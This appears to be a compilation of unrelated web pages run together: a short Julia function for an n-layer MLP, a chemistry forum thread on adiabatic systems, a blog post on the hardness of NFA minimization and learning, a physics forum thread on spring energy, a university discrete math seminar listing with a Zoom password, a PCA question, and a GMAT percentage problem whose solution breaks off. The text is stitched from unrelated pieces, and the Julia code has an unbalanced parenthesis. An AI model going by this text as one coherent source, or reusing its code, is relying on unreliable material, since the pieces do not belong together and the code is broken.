We can define a more general mlp model of arbitrary length. With weights of length 2n, the following model will have n layers, n-1 layers having the relu non-linearity:
function mlp_nlayer(w,x)
for i=1:2:length(w)-2
x = relu(w[i] * x .+ w[i+1]))
end
return w[end-1] * x .+ w[end]
end
In this example stacking the layers in a loop saved us only two lines, but the difference can be more significant in deeper models.
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## Adiabatic System
$\Delta S = \frac{q_{rev}}{T}$
Moderators: Chem_Mod, Chem_Admin
Mir Raza 3D
Posts: 19
Joined: Fri Sep 25, 2015 3:00 am
### Adiabatic System
What is an adiabatic system and how does it relate to entropy?
Nicholas Codallos 4C
Posts: 19
Joined: Fri Sep 25, 2015 3:00 am
### Re: Adiabatic System
The general concept of it is that a reaction is occurring without the system losing any heat so you know that the change in internal energy is just to the "work" on or in the system so you would use (delta)U=W instead of (delta)U= Q + W. As for how to know that the system is adiabatic you just have to look at the information provided, if it says the system isn't losing or gaining heat then you can assume its adiabatic.
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# Limits on efficient minimization and the helpfulness of teachers.
Two weeks ago, I lectured on how we can minimize and learn deterministic finite state automata. Although it might not be obvious, these lectures are actually pretty closely related since minimization and learning often go hand-in-hand. During both lectures I hinted that the results won’t hold for non-deterministic finite state automata (NFA), and challenged the students to identify where the proofs break down. Of course, these is no way to patch the proofs I presented to carry over to the NFA case, in fact we expect that no efficient algorithms exist for minimizing or learning NFAs.
### NFAs are hard to minimize
It is known that given an NFA (Meyer & Stockmeyer, 1972) or a DFA (Jiang & Ravikumar, 1993), finding a minimal NFA (or saying if one exists below a certain size, to make a decision problem) is PSPACE-hard. In fact, even if we consider NFAs that are simply the concatination of two DFAs, it is PSPACE-complete to answer if they are equivalent to a third DFA. More formally, given three DFAs $M_1, M_2, M_3$, the problem “is $L(M_1)\cdot L(M_2) = L(M_3)$?” is PSPACE-complete (Jiang & Ravikumar, 1993). In other words, the little bit of non-determinism introduced by the $\epsilon$-transitions from the accept states of the first machine to the initial state of the second machine is enough non-determinism to be not minimizable (note that we already showed that minimization and thus testing of equality for DFAs is in P). Actually, it is enough to just consider machines with the least imaginable amount of non-determinism: DFAs except with two start states. Minimizing an otherwise deterministic machine that is allowed to have two start states in NP-hard (Malcher, 2004), and even for machines with finite languages (Bjorklund & Martens, 2008). In fact, if we start with an NFA of size $n$ then it isn’t even possible to approximately minimize it within a factor of $o(n)$ unless P = PSPACE. Even if we start with a DFA on $n$ states, under cryptographic assumptions (that strong pseudo-random functions exist in NC1), we cannnot approximate the smallest NFA within a factor better than $\frac{n}{\mathrm{poly}(\log n)}$.
In theory, there is no difference between theory and practice. But, in practice, there is. Using SAT solvers and clever encodings can often produce NFAs that are close to minimal (Gekdenhuys, 2010). Alternatively, you can combine the classic Kameda-Weiner (1970) algorithm with some local search heuristics (Tsyganov, 2012) and get decent results in practice. Since I am purely a theorist, I would be interested to know if the local search version of NFA-minimization is PLS-hard.
### NFAs are hard to learn
Under some philosophical assumptions (or by fiat), we can suppose that this world is described by a regular language $L \subseteq \Sigma^*$ and an experiment $x \in \Sigma^*$ just tells us if $x \in L$ or not — also known as a membership query. Angluin’s (1987) minimum-adequate teacher model, augments this with a teacher that can answer counter-example queries: we submit a candidate automaton $M$, and if $L = L(M)$ then the teacher says “correct” otherwise it produces a counter-example $z$ such that $z \in L(M)$ but $z \not\in L$ (or vice-versa).
The story of learning NFAs in the MAT-model is similar to minimization. As we switch to more compact representations of regular languages, a polynomial in the size of this representation leaves with less time for learning. In fact, under cryptographic assumptions, Angluin & Kharitov (1995) showed that it is not possible to learn NFAs in time polynomial in the size of a minimal NFA representing the environment. However, there is an algorithm that learns NFAs in time polynomial in the size of the (often exponentially bigger) minimum DFA representing the environment (Yokomori, 1994). Yokomori’s learning algorithm is fundamentally different from Angluin’s (1987) and uses NFAs at every stage. However, it makes no guarantees to learn return a minimal NFA, just one consistent with the environment, and since a DFA is just another non-minimal NFA, it is not clear what advantage Yokomori’s result offers. That being said, it allows us to define a subclass called NFA<subpoly that consists of all machines where a minimal NFA is only polynomially smaller than the minimum DFA; this class would be efficiently learnable.
### Residual finite state automata and the boundaries of learnability
Residual finite state automata (RFSAs, defined in Denis et al. (2002)) are another DFA-like subclass of NFAs with more algebraic structure than NFApoly. Consider a language $L \subseteq \Sigma^*$, the residual language of $L$ with regard to $u$ is: $u^{-1}L = \{v \in \Sigma^* \; | \; uv \in L\}$. For a minimum DFA $M$, there is a bijection between the number of non-empty residual classes of $L(M)$ and the states of $M$ (Denis et al., 2002). As such, residuals capture a salient feature of DFAs, and we define an RFSA $M$ as an NFA such that for each state $q$, the set of strings $L_q(M)$ accepted by $M$ with $q$ designated as its only initial state is a residual for some $u \in \Sigma^*$. More formally, an NFA $M$ is an RFSA if $\forall q \in Q \; \exists u \in \Sigma^* L_q(M) = u^{-1}L(M)$. This means that every RFSA is an NFA, but given a candidate NFA it is actually a PSPACE-complete problem to say if it is an RFSA, or not (Denis et al., 2002). Further, every DFA is an RFSA, but some RFSAs are not deterministic.
In particular, like for DFAs the minimum RFSA is unique but has the same number of states as there are prime residuals of the language (Denis et al., 2002). A residual is called prime if it is not equal to the union of residual languages it strictly contains. The number of prime residuals can be exponentially smaller than the number of residuals (Denis et al., 2002). However, there are also regular languages where the smallest NFA has exponentially fewer states than the smallest RFSA. Thus, the minimum RFSA is always larger than (or equal to) the size of the minimal NFAs and smaller than (or equal to) the size of the minimum DFA, but sometimes can be exponentially larger than the NFAs, and sometimes exponentially smaller than the minimum DFA. In other words, this RFSA contains some NFAs that are not in NFApoly; Dennis et al. (2004) actually showed that all the NFAs produced by Yokomori’s algorithm are actually RFSA and usually not canonical. As far as I can tell (from looking through Berstel et al. (2010)), it is not known if RFSAs can be minimized efficiently, but Bollig et al. (2009) showed that RFSAs are efficiently learnable in Angluin’s minimally adequate teacher model. This is the most compact representation of regular languages that is currently known to be efficiently learnable. Note that efficient learnability of canonical RFSAs does not imply minimization is easy. As far as I can tell, the Bollig et al. (2009) algorithm does not imply a minimization algorithm, since the size of counter-examples is not bounded and it is not clear how to efficiently test RFSAs for equality to simulate the teacher. For example, testing two NFAs for equality is PSPACE-complete, although in practice Mayr & Clemente (2013) report that it can be done reasonably quickly.
This shows that Angluin’s learning algorithm can be improved, but not too drastically. One might also try to see if both membership and counter-example queries are necessary. As I’ve mentioned previously, Kearns & Valiant (1994) showed that assuming that we can’t crack RSA, counter-example queries are necessary. In a complementary result, Angluin (1990) showed that even without any complexity theoretic assumptions (using only information theoretic and combinatorial considerations), counter-example queries alone also don’t suffice for learning DFAs or NFAs on their own. In other words, MAT-learning of regular languages is surprisingly well characterized.
### References
Angluin, D. (1987). Learning regular sets from queries and counterexamples. Information and Computation, 75: 87-106
Angluin, D. (1990). Negative results for equivalence queries. Machine Learning, 5(2): 121-150.
Angluin, D., & Kharitonov, M. (1995). When Won’t Membership Queries Help? Journal of Computer and System Sciences, 50 (2), 336-355 DOI: 10.1006/jcss.1995.1026
Berstel, J., Boasson, L., Carton, O., & Fagnot, I. (2010). Minimization of automata. arXiv preprint. arXiv:1010.5318.
Björklund, H., & Martens, W. (2008). The tractability frontier for NFA minimization. In Automata, Languages and Programming (pp. 27-38). Springer Berlin Heidelberg.
Bollig, B., Habermehl, P., Kern, C., & Leucker, M. (2009). Angluin-Style Learning of NFA. In IJCAI, 9: 1004-1009.
Denis, F., Lemay, A., & Terlutte, A. (2002). Residual finite state automata. Fundemnta Informaticae, 51(4): 339-368.
Denis, F., Lemay, A., & Terlutte, A. (2004). Learning regular languages using RFSAs. Theoretical Computer Science, 313(2): 267-294.
Geldenhuys, J., Van Der Merwe, B., and Van Zijl, L. (2010). Reducing nondeterministic finite automata with SAT solvers. In Finite-State Methods and Natural Language Processing. Springer Berlin Heidelberg, 81-92.
Jiang, T., & Ravikumar, B. (1993). Minimal NFA problems are hard. SIAM Journal on Computing, 22(6): 1117-1141. (first appeared in Automata, Languages and Programming (1991, pp. 629-640). Springer Berlin Heidelberg).
Kameda, T., & Weiner, P. (1970). On the state minimization of nondeterministic finite automata. Computers, IEEE Transactions on, 100(7), 617-627.
Kearns, M., & Valiant, L. (1994). Cryptographic limitations on learning Boolean formulae and finite automata. Journal of the ACM, 41(1), 67-95.
Malcher, A. (2004). Minimizing finite automata is computationally hard. Theoretical Computer Science, 327(3): 375-390.
Mayr, R., & Clemente, L. (2013). Advanced automata minimization. In Proceedings of the 40th annual ACM SIGPLAN-SIGACT symposium on Principles of programming languages (pp. 63-74). ACM.
Meyer, A. R., & Stockmeyer, L. J. (1972). The equivalence problem for regular expressions with squaring requires exponential space. In Switching and Automata Theory. IEEE.
Tsyganov, A.V. (2012). Local Search Heuristics for NFA State Minimization Problem. International Journal of Communications, Network and System Sciences, 5.
Yokomori, T. (1994). Learning non-deterministic finite automata from queries and counterexamples. In Machine intelligence 13 (pp. 169-189).
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# Conservation of energy
1. Jun 27, 2009
### ham
I am a tutor. I ran across this problem is a high school physics textbook. See attachment x162, my solution is on x163. I thought that mechancical energy is conserved and that loss of potential energy should be equal to gain in elastic (stored) energy. Ithink the spring constant must be wrong???
#### Attached Files:
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• ###### x163.jpg
File size:
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2. Jun 27, 2009
### Staff: Mentor
Note the phrase "allowed to come to rest". If the weight were just dropped, there would be both spring PE and kinetic energy. That extra kinetic has been dissipated somehow. (The mass may have been lowered gently to the equilibrium position, or just allowed to oscillate until the kinetic energy was "lost" to internal friction or air resistance.)
3. Jun 27, 2009
### ham
I think that although not specifically said, there is no wind or other resistance here. If the mass were dropped, it would oscillate as the potential energy in the spring would be transferred between kinetic energy and gravitional potential energy. At rest, there would be no kinetic energy so I would think all of the PE would be transwferred to stored elastic energy. I still think the book answer is wrong.
4. Jun 27, 2009
### Staff: Mentor
This problem is not a conservation problem. It is just trying to teach the student how to calculate the elastic potential energy.
5. Jun 27, 2009
### ham
Dale, Regardless of the objective of the problem, I think there is an error here. Please check my calculations and tell me whee I am wrong.
6. Jun 27, 2009
### SmashtheVan
my bet is that the problem wants you to apply the following equation:
$$U= \frac{1}{2}kx^{2}$$
since Force is related to Potential Energy by the following relation
$$F= -\frac{dU}{dx}$$
and the force of a spring is $$F= -kx$$
the negative integral with respect to x would give
$$U= \frac{1}{2}kx^{2}$$
and x is the change from the relaxed point with 0 mass(really just the spring mass)
7. Jun 27, 2009
### ham
Smash, I agree that that equation e = (1/2) kd^2 should be used. This is not the issue. I think the k value, or something else, is wrong in order to conserv energy.
8. Jun 27, 2009
### Staff: Mentor
You just didn't need to calculate the mass of the weight nor the change in gravitational potential energy. Your calculations for the elastic potential energy are correct.
The k value is fine. This is not an energy conservation problem.
9. Jun 27, 2009
### Staff: Mentor
If dropped without any dissipative forces, it would oscillate. It would not come to rest at the equilibrium position, but (momentarily) at the bottom of the oscillation. The book's answer is correct, given the stipulation "allowed to come to rest". That stipulation implies that all kinetic energy has been dissipated. (Otherwise it just bounces up and down, with maximum kinetic energy at the equilibrium position.)
Mechanical energy of the spring-mass system is not conserved here.
10. Jun 27, 2009
### SmashtheVan
my mistake i failed to see what you were really asking here.
Doc Al got it though. Spring systems that come to rest are nonconservative. that is where your loss in energy is
11. Jun 27, 2009
### Staff: Mentor
Wow, pretty impressive. Three replies in the same minute! My kids would say "Jinks, you owe me a coke"
12. Jun 27, 2009
### ham
Doc Al. Theoritically, energy in a sping is stored and not used, like energy in a capacitor and inductor. If the mass was dropped, it should oscillate indifinately. Lets asume we dont drop the mass but lower it slowly. The change in PE would be 6.52, and the stored energy, per calculation would be 3.26. Where did the PE go? I agree that at the equiliberium point of the spring, the KE would me at max. If we plotted the energy and displacements of this problem, we would have a sinusoid going forever (with no friction) ?
Agree????
13. Jun 27, 2009
### Staff: Mentor
But the problem specifies that the energy is taken out of the system (used) by the satement "allowed to come to rest".
14. Jun 27, 2009
### Staff: Mentor
Right.
The energy was dissipated in whatever mechanism lowered the mass. If you lower it with your hand, your internal energy will increase as you absorb that energy. (Think about walking downstairs. You start at rest at the top of the steps and end up at rest at the bottom. Where does the energy go?)
Sure.
15. Jun 27, 2009
### ham
Dale, I see your point. However, given that this is a high school physics problem, I don't think the intent of the problem was to consider damping where I would agree some energy would go into the damping medium such as air friction. If we asume there is no friction, and we lowered the mass gradually so it would not oscillate but rather hang there, would you agree that there is a problem?
I have to leave for 1 hour and will return. I hope you guys will still be online.
16. Jun 27, 2009
### SmashtheVan
after thinking for a minute, I came to an answer, but Dale beat me to it.
Originally, spring is at equilibrium. When you add the mass, the spring oscillates, the height changes. This change in gravitational energy is split up; half goes into Kinetic Energy, half goes to Elastic Energy in the spring. If you let the spring come to rest, the only way to do this is to take energy OUT of the system. The only energy you can take out here is the kinetic. So that's what happens to the energy you're missing
17. Jun 27, 2009
### Staff: Mentor
No, there's no problem (as I have attempted to explain).
To "answer the question" all one need do is plug into the formula for spring PE. But I applaud your efforts to understand why this doesn't fit with your assumption that mechanical energy is conserved. (The answer is that mechanical energy is not conserved. There are additional dissipative forces at work.)
18. Jun 27, 2009
### SmashtheVan
when you lower the mass gradually, what you are doing is applying an upward force so that the acceleration of the mass is very small, so that at the bottom there is no motion. Therefore, you are applying a force, over a distance, which is Work. Work= change in Kinetic Energy. Normally the Kinetic energy, if you allow the spring to oscillate, would be the same 3.26 value at the bottom point of oscillation. Therefore, for there to be no kinetic energy, you have to apply an equal amount of work to the system, which takes the energy out.
Efinal= Einitial - Work
19. Jun 27, 2009
### RonL
If you compare the spring and weight, to the bounce of a basket ball, you have the same manor of energy dissipation, however the spring allows a smooth change of direction and a much longer oscillation period.
20. Jun 27, 2009
### Staff: Mentor
Just go to your answer, use the first and the fourth line, delete the second and third lines. That is all that this question is asking. It is definitely a high-school level problem.
It does not matter how it comes to rest at the stretched length, whether it is through friction or gradually lowering the mass. All that the question is asking for is what is the elastic potential energy at that stretched length. It is completely independent of any specific mechanism for removing the energy.
The "allowed to come to rest" specifies that energy is removed but does not give details of how it is removed since the details are irrelevant for the problem. You can prescribe many different mechanisms for removing the energy, all will result in the conservation of energy (i.e. the work done on the mechanism will exactly equal the change in PE) but none are relevant for the problem since it is not a conservation problem.
Last edited: Jun 27, 2009
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# Discrete Math Seminars
Most Fridays in K9509 - 11:30am to 12:30pm
Please join us for this weekly seminar on a wide variety of topics under the umbrella of discrete mathematics. We gratefully acknowledge the Pacific Institute of Mathematical Sciences for their generous funding since 2010.
Watch for upcoming Seminars listed below, offered in SCK 9509 and/or on Zoom. We welcome remote participation from groups at other universities.
All talks will be announced on this page, on the department calendar (found at the bottom of the Math homepage), and on the DM Seminar mailing list. If you have an SFU email address, you can subscribe or unsubscribe to the mailing list by logging in to maillist.sfu.ca and searching for the math-dmsem list. Otherwise, you can ask any discrete math faculty member to manually add you to the list. With the permission of the speaker, we will record the talk video and upload it to the SFU Discrete Math Seminar Youtube Channel
Current organizer: Bojan Mohar ([email protected]) & Jesse Campion Loth
## 2022 Talks
### Fall 2022
07 Oct Special Time: 11am Bojan Mohar. Simon Fraser University Beyond the Four-Color Theorem The speaker will discuss the Four-Color Theorem and some of the outstanding problems left open after the proof. 14 Oct Peter Bradshaw, Simon Fraser University A small step forward in bipartite list coloring The choosability of a graph G is the minimum value k such that G has a proper list coloring whenever each vertex of G has a list of k colors. Molloy showed that if G is a triangle-free graph of maximum degree d, then the choosability of G is at most (1 + o(1)) d / log d and that this bound is tight within a factor of roughly 2. It is widely believed that this upper bound can be greatly improved in the special case that G is bipartite, and Alon and Krivelevich conjectured an upper bound of O(log d) in this case. However, little progress has been made toward solving this conjecture, and it is currently unknown whether the optimal upper bound for bipartite graphs is different from the optimal upper bound for triangle-free graphs. In this talk, we will use a modification of a coupon-collector argument from Alon, Cambie, and Kang to show that every bipartite graph of maximum degree d has choosability at most 0.797 d / log d. Our result provides strong evidence that the list-coloring problem is fundamentally easier in bipartite graphs than in triangle-free graphs and hence takes an important step toward solving the conjecture of Alon and Krivelevich. (The content of this talk is part of ongoing work with Bojan Mohar and Ladislav Stacho.) 21 Oct Harmony Zhan, Simon Fraser University An introduction to discrete quantum walks A discrete quantum walk is determined by a unitary matrix representation of a graph. In this talk, I will give an overview of different quantum walks, and show how the spectral information of the unitary matrix representation links properties of the walks to properties of the graphs. Part of this talk will be based on the book, Discrete Quantum Walks on Graphs and Digraphs, by Chris Godsil and me. 28 Oct Zhouningxin Wang Circular flows in mono-directed Eulerian signed graphs In this talk, we consider analogs of Jaeger's circular flow conjecture and its dual Jaeger-Zhang conjecture in signed graphs. We will first give the notions of circular coloring and circular flow in signed graphs, and then show that every (6k-2)-edge-connected Eulerian signed graph admits a circular 4k/(2k-1)-flow and that every signed bipartite planar graph of negative-girth at least 6k-2 admits a circular 4k/(2k-1)-coloring (equivalently, admits a homomorphism to a negative cycle of length 2k). We also provide some recent results about circular flow indices of signed graphs with high edge-connectivities. This is based on joint work with Jiaao Li, Reza Naserasr, and Xuding Zhu.
### Spring 2022
18 Jan (ZOOM) Jiaxi Nie, University of California San Diego On Asymptotic Packing of Geometric Graphs A set of geometric graphs is geometric-packable if it can be asymptotically packed into every sequence of drawings of the complete graph $K_n$. For example, the set of geometric triangles is geometric-packable due to the existence of Steiner Triple Systems. When G is the 4-cycle (or 4-cycle with a chord), we show that the set of plane drawings of G is geometric-packable. In contrast, the analogous statement is false when G is nearly any other planar Hamiltonian graph (with at most 3 possible exceptions). A convex geometric graph is convex-packable if it can be asymptotically packed into the convex drawings of the complete graphs. For each planar Hamiltonian graph G, we determine whether or not a plane G is convex-packable. Many of our proofs explicitly construct these packings; in these cases, the packings exhibit a symmetry that mirrors the vertex transitivity of $K_n$. here is the link. (ID: 668 0051 2140, password: Graph) 25 Jan Kathryn Nurse, Simon Fraser University Toward Bouchet’s conjecture on nowhere-zero flows in signed graphs. I will present a work in progress. In 1954, Tutte proved flow-colouring duality and made a conjecture that every graph without a cut-edge has a nowhere-zero 5-flow. A parallel conjecture to this, but for signed graphs is Bouchet's conjecture (1983) that every signed graph without the obvious obstruction has a nowhere-zero 6-flow. We have been able to show that Bouchet's conjecture holds for 3-connected graphs when 6 is replaced with 8. This is joint with Matt DeVos and Robert Šámal. 01 Feb Annie Raymond (UMass) Tropicalization of graph profiles The number of homomorphisms from a graph H to a graph G, denoted by hom(H;G), is the number of maps from V(H) to V(G) that yield a graph homomorphism, i.e., that map every edge of H to an edge of G. Given a fixed collection of finite simple graphs {H_1, ..., H_s}, the graph profile is the set of all vectors (hom(H_1; G), ..., hom(H_s; G)) as G varies over all graphs. Graph profiles essentially allow us to understand all polynomial inequalities in homomorphism numbers that are valid on all graphs. Profiles can be extremely complicated; for instance the full profile of any triple of connected graphs is not known. To simplify these objects, we introduce their tropicalization which we show is a closed convex cone that still captures interesting combinatorial information. We explicitly compute these tropicalizations for some sets of graphs, and relate the results to some questions in extremal graph theory. This is joint work with Greg Blekherman, Mohit Singh and Rekha Thomas. 08 Feb Vesna Iršič (Simon Fraser University) Winning vs. catching in the game of cops and robber on manifolds Recently, Mohar introduced a variant of the cops and robber game that is played on geodesic spaces. The game combines properties of pursuit-evasion games with the classical cops and robber game played on graphs. In the game, cops win if they can get arbitrarily close to the robber. On the other hand, cops catch the robber if one of them occupies the same point as the robber. In this talk we will discuss several strategies for players in the game, and observe the difference between the number of cops needed to catch the robber and the number of cops needed to win the game. Joint work with Bojan Mohar and Alexandra Wesolek. 15 Mar Bojan Mohar (Simon Fraser University) Proper orientations and proper chromatic number It is an interesting (and not entirely obvious) fact that every graph admits an orientation of its edges so that the outdegrees at vertices form a "coloring" (outdegrees of any two adjacent vertices are different). The proper chromatic number $\Vec{\chi}(G)$ of a graph $G$ is the minimum $k$ such that there exists an orientation of the edges of $G$ with all vertex-outdegrees at most $k$ and such that for any adjacent vertices, the outdegrees are different. Two major conjectures about the proper chromatic number are resolved. First it is shown, that $\Vec{\chi}(G)$ of any planar graph $G$ is bounded (in fact, it is at most 14). Secondly, it is shown that for every graph, $\Vec{\chi}(G)$ is at most $O(\frac{r\log r}{\log\log r})+\tfrac{1}{2}\MAD(G)$, where $r=\chi(G)$ is the usual chromatic number of the graph, and $\MAD(G)$ is the maximum average degree taken over all subgraphs of $G$. Several other related results are derived. Our proofs are based on a novel notion of fractional orientations. This is joint work with Yaobin Chen and Hehui Wu. 05 Apr Zdenek Dvorak (Charles University) 3-coloring near-quadrangulations of the plane and the torus using flows (joint work with C. Bang, E. Heath, and B. Lidicky) A graph drawn in a surface is a k-near-quadrangulation if the product of the lengths of its faces, except for 4-faces, is at most k. Near-quadrangulations play a fundamental role in the theory of 3-colorability of triangle-free graphs on surfaces. We show how the well-known duality between colorings and flows can be used to design * a 3-precoloring extension algorithm for k-near-quadrangulations of the plane, and * a 3-coloring algorithm for k-near-quadrangulations of the torus, with time complexity polynomial in k and the number of vertices.
## 2021 Talks
### Fall 2021
09 Nov Andrei Bulatov, Simon Fraser University The complexity of counting homomorphisms The Constraint Satisfaction Problem (CSP) provides a general framework for a wide range of combinatorial problems. The simplest way to state the problem is: Given relational structures (say, graphs) G and H, decide if there is a homomorphism from G to H. The counting version of the CSP, #CSP, asks for the number of such homomorphisms. In order to represent specific problems, the CSP is often restricted in various ways, in particular by fixing the target structure H. Thus, CSP(H) asks if, for a given structure G, there is a homomorphism from G to H. If H is a graph such a problem is often called H-Coloring. The counting versions #CSP(H), #H-Coloring of these problems are defined accordingly. In this talk we survey the developments in the study of the complexity of #CSP(H) that eventually led to a complete classification of such problems and their various generalizations. ZOOM Information: https://sfu.zoom.us/j/66800512140?pwd=N011dU5ZNThSWnVzMFBjYnBidDdmUT09 (ID: 668 0051 2140 Password: Graph) 16 Nov Peter Bradshaw, Simon Fraser University A rainbow connectivity threshold for random graph families Given a family G of graphs on a common vertex set X, we say that G is rainbow connected if for every vertex pair u, v ∈ X, there exists a path from u to v that uses at most one edge from each graph of G. We consider the case that G contains s graphs, each sampled randomly from G(n, p), with n = |X| and p = c log n / sn , where c > 1 is a constant. We show that there exists a threshold of at most three consecutive integer values such that when s is greater than or equal to this threshold, G is a.a.s. rainbow connected, and when s is below this threshold, G is a.a.s. not rainbow connected. Joint work with Bojan Mohar.
### Summer 2021
##### Joy Morris, University of Lethbridge
Lexicographic products and wreath products
Abstract: I will present a history and overview of some of the work that has been done on the lexicographic product of graphs, and related generalisations. The focus of my talk will be on the automorphism groups of such graphs, and the relationship to the wreath product of permutation groups.
##### Xiang-dong Hou, University of South Florida
On the number of equivalence classes of boolean functions
Abstract: Two Boolean functions from $\Bbb F_2^n$ to $\Bbb F_2$ are called (affine) equivalent if one can be obtained from the other through an invertible affine transformation of the variables followed by an addition of an affine function. Most coding theoretic and cryptographic properties of Boolean functions are preserved under this equivalence. Let $N_n$ denote the number of equivalence classes of Boolean functions in $n$ variable. No explicit formula for $N_n$ is known. A long-standing open question by MacWilliams and Sloane asks for an asymptotic formula for $N_n$ as $n\to\infty$. Recently, we find a solution to this question. (Abstract in PDF)
##### Fan Chung, University of California San Diego
Trees and forests in Green's functions of a graph
Abstract: The Green's functions of a graph are the pseudo inverses of the Laplacians and therefore are useful for solving many types of Laplace equations in discrete settings.In this talk, we will give combinatorial interpretations of Green's functions in terms of counting trees and forests in a graph. We will also mention several applications concerning the pagerank algorithms and the hitting time for random walks.
##### Akbar Rafiey, SFU
Fast and Private Submodular and k-Submodular Functions Maximization with Matroid Constraints
Abstract: The problem of maximizing nonnegative monotone submodular functions under a certain constraint has been intensively studied in the last decade, and a wide range of efficient approximation algorithms have been developed for this problem. Many machine learning problems, including data summarization and influence maximization, can be naturally modeled as the problem of maximizing monotone submodular functions. However, when such applications involve sensitive data about individuals, their privacy concerns should be addressed.
In this paper, we study the problem of maximizing monotone submodular functions subject to matroid constraints in the framework of differential privacy. We provide (1−1/e)-approximation algorithm which improves upon the previous results in terms of approximation guarantee. This is done with an almost cubic number of function evaluations in our algorithm. Moreover, we study k-submodularity, a natural generalization of submodularity. We give the first 1/2-approximation algorithm that preserves differential privacy for maximizing monotone k-submodular functions subject to matroid constraints. The approximation ratio is asymptotically tight and is obtained with an almost linear number of function evaluations.
Joint work with Yuichi Yoshida (http://proceedings.mlr.press/v119/rafiey20a.html)
##### Rebecca Patrias, University of St Thomas
Webs and tableau promotion
Abstract: We will start with an introduction to webs, standard Young tableau promotion, and the relationship between web rotation and tableau promotion. We will then discuss increasing tableaux---a K-theoretic analogue of SYT---and K-promotion. A big open question in this area deals with the order of K-promotion on increasing tableaux. We will talk about results in the 3-row case (in joint work with O. Pechenik) as well as current efforts to relate this problem to web promotion (joint with O. Pechenik, J. Striker, and J. Tymoczko).
##### Haggai Liu
Enumerative Properties of Cogrowth Series on Free products of Finite Groups
Abstract: Given a group G with a finite set of generators, S, it is natural to ask if the product of n generators from S evaluate to the identity. The enumerative version of this problem, known as the cogrowth problem, counts the number of such products and studies the associated counting sequence. Many cogrowth sequences are known. We focus on the free products of finite groups: Specifically, cyclic and dihedral groups. Such groups have the property that their cogrowth generating functions are algebraic functions, and thus, are solutions to implicit polynomial equations. Using algebraic elimination techniquesand free probability theory, we establish upper bounds on the degrees of the polynomial equations that they satisfy. This has implications for asymptotic enumeration, and makes it theoretically possible to determine the functions explicitly.
##### Christin Bibby, Louisiana State University
Combinatorics of orbit configuration spaces
Abstract: From a group action on a space, define a variant of the configuration space by insisting that no two points inhabit the same orbit. When the action is almost free, this "orbit configuration space" is the complement of an arrangement of subvarieties inside the cartesian product, and we use this structure to study its topology. We give an abstract combinatorial description of its poset of layers (connected components of intersections from the arrangement) which turns out to be of much independent interest as a generalization of partition and Dowling lattices. The close relationship to these classical posets is then exploited to give explicit cohomological calculations.
##### Yifan Jing, UIUC
Minimal and nearly minimal measure expansions in locally compact groups
Abstract: In 1964, Kemperman proved the following continuous nonabelian counterpart of the Cauchy-Davenport theorem: If G is a connected unimodular locally compact group with a left (and hence right) Haar measure \mu, A, B \subseteq G are nonempty and compact, and AB is their product set, then \mu(AB) \geq \min\{ \mu(A) + \mu(B), \mu(G)\}.
I will present the recent joint works with Jinpeng An, Chieu-Minh Tran and Ruixiang Zhang where we determine the conditions for the equality to happen or nearly happen in the above inequality. Our results and methods answer several questions by Griesmer, Henstock, Hrushovski, Kemperman, Macbeath, McCrudden, and Tao.
##### Sophie Spirkl, Waterloo
The complexity of list-5-colouring with a forbidden induced sugbraph
Abstract: A k-list-assignment for a graph G is a function L from V(G) to the set of subsets of {1,…,k}. The list-k-colouring problem asks, given G and a k-list-assignment L, is there a colouring f of G with f(v) in L(v) for all v in V(G)? This generalizes the k-colouring problem (where we use L(v)={1,…,k} for every vertex). For k at least 3, both k-colouring and list-k-colouring are NP-hard, which motivates studying the complexity of these problems when the input is restricted to H-free graphs (for a fixed H, excluded as an induced subgraph).
I will present an algorithm for list-5-colouring restricted to H-free graphs for all H which consist of connected components each of which is a 3-vertex path. This, together with previous results, gives a complete answer to the question, “for which H is list-5-colouring restricted to H-free graphs NP-hard? Joint work with Sepehr Hajebi and Yanjia Li.
##### Anurag Bishnoi, TU Delft
The minimum degree of minimal Ramsey graphs for cliques
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# Principal axes, what are they and how to decide them? [duplicate]
This question already has an answer here:
I am reading a book about data mining and am currently in a chapter about Principal Component Analysis. But I am not sure from the explanation in the book what the principal axes are and how to find them.
If I have the feature vector $X = \{(-3,-1,-1),(0,-1,0),(-2,-1,2),(1,-1,3)\}$, how do I find the principal axes?
Thanks!
## marked as duplicate by amoeba, Peter Flom♦Jan 23 '17 at 11:55
This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.
## 1 Answer
With assume that you know the exactly reason for using PCA ,First of all assume that we have a our X matrix contains our data ( we have d features):
$$X = \begin{array}{cc} x_1^1 & x_2^1 & ... & x_d^1 \\ x_2^1 & x_2^2 & ... & x_d^2 \\ ...\\ x_n^1 & x_n^2 & ... & x_d^n\\ \end{array}$$
We should compute a vector of all feature Mean :
$$E[X] = \mu = [\mu_1,...,\mu_d]$$ and compute matrix of all feature Covariance : $$Cov(x) = E[(x-\mu)(x-\mu)^T]$$ now we have Covariance matrix we should compute eigenvectors and eigenvalues of Covariance Matrix , for this d*d matrix we have d eigenvalues , sort them from highest to lowest , now here is the PCA trick , we can ignore some of eigenvalues that are below a threshold because the eigenvectors belongs to them represents the feature that have lowest variance between data , and that feature is not very handy for classify objects :
for example here PC1 is more useful for classify objects than PC2 with respect to data distribution towards that axis.now you have 4 data with 3 feature you can apply PCA to it to clarify which feature is not very helping you for classifying objects , so you can ignore it , in PCA you lose some of accuracy to obtain performance and simplifying computation.
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# The cost of one helmet, two pairs of gloves, three pairs of pads
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The cost of one helmet, two pairs of gloves, three pairs of pads [#permalink]
### Show Tags
27 Feb 2018, 09:37
00:00
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35% (medium)
Question Stats:
87% (02:33) correct 13% (02:11) wrong based on 34 sessions
### HideShow timer Statistics
The cost of one helmet, two pairs of gloves, three pairs of pads, four bats and five balls increased by 11%, 22%, 33%, 44% and 55% respectively, over that of the previous year. Last year, if John had spent equal amounts purchasing each of the given varieties of items (i.e., helmets, gloves, pads, bats and balls), by what percentage would the total cost of all the items John purchased increase this year, over that in the previous year?
A) 22%
B) 27.5%
C) 33%
D) 37.5%
E) 40$$\frac{1}{3}$$%
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Re: The cost of one helmet, two pairs of gloves, three pairs of pads [#permalink]
### Show Tags
27 Feb 2018, 11:33
souvonik2k wrote:
The cost of one helmet, two pairs of gloves, three pairs of pads, four bats and five balls increased by 11%, 22%, 33%, 44% and 55% respectively, over that of the previous year. Last year, if John had spent equal amounts purchasing each of the given varieties of items (i.e., helmets, gloves, pads, bats and balls), by what percentage would the total cost of all the items John purchased increase this year, over that in the previous year?
A) 22%
B) 27.5%
C) 33%
D) 37.5%
E) 40$$\frac{1}{3}$$%
let price of each spent is 100
inc in the next year = 11, 22, 33, 44, 55
thus total price = 100x5 = 500
